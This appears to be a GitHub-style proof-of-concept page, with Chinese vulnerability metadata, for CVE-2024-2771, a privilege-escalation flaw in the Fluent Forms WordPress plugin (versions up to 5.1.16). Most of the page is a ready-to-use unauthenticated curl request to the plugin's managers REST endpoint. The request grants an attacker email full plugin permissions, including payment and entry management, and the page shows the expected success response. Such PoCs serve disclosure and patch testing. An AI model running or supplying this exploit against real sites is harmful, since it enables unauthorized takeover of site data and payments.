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CVE-2024-2771 PoC — WordPress plugin Fluent Forms 安全漏洞

来源
关联漏洞
标题: WordPress plugin Fluent Forms 安全漏洞 (CVE-2024-2771)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Fluent Forms 5.1.16 版本及之前版本存在安全漏洞,该漏洞源于缺少对 /wp-json/fluenceform/v1/managers REST API 端点的功能检查,可以进行权限升级的影响。
Description
CVE-2024-2771 Proof-of-Concept 
介绍
# CVE-2024-2771-PoC
CVE-2024-2771 Proof-of-Concept 

The Contact Form Plugin by Fluent Forms for Quiz, Survey, and Drag & Drop WP Form Builder plugin for WordPress is vulnerable to privilege escalation due to a missing capability check on the /wp-json/fluentform/v1/managers REST API endpoint in all versions up to, and including, 5.1.16. This makes it possible for unauthenticated attackers to grant users with Fluent Form management permissions which gives them access to all of the plugin's settings and features. This also makes it possible for unauthenticated attackers to delete manager accounts.

**Prerequisites**
- WordPress site with Contact Form – Fluent Forms ≤ 5.1.16 active.
- Attacker can reach the site’s REST API (no authentication needed).

**Exploit Command**
```
# 1. Grant full Fluent Forms permissions to an arbitrary email
curl -i -X POST "http://TARGET/wp-json/fluentform/v1/managers" \
     -H "Content-Type: application/json" \
     -d '{
           "manager": {
             "email": "attacker@example.com",
             "permissions": [
               "fluentform_dashboard_access",
               "fluentform_forms_manager",
               "fluentform_entries_viewer",
               "fluentform_manage_entries",
               "fluentform_view_payments",
               "fluentform_manage_payments",
               "fluentform_settings_manager",
               "fluentform_full_access"
             ]
           }
         }'
```

Expected Response
```
HTTP/1.1 200 OK
{
  "message": "Manager has been saved.",
  "manager": {
    "id": 2,
    "email": "attacker@example.com",
    "permissions": [
      "fluentform_dashboard_access",
      "fluentform_forms_manager",
      "fluentform_entries_viewer",
      "fluentform_manage_entries",
      "fluentform_view_payments",
      "fluentform_manage_payments",
      "fluentform_settings_manager",
      "fluentform_full_access"
    ]
  }
}

```
**Screenshot**
<img width="1451" height="603" alt="Screenshot 2025-08-01 105801" src="https://github.com/user-attachments/assets/d7fdcaf1-1583-4473-a075-e8ca998c29a8" />
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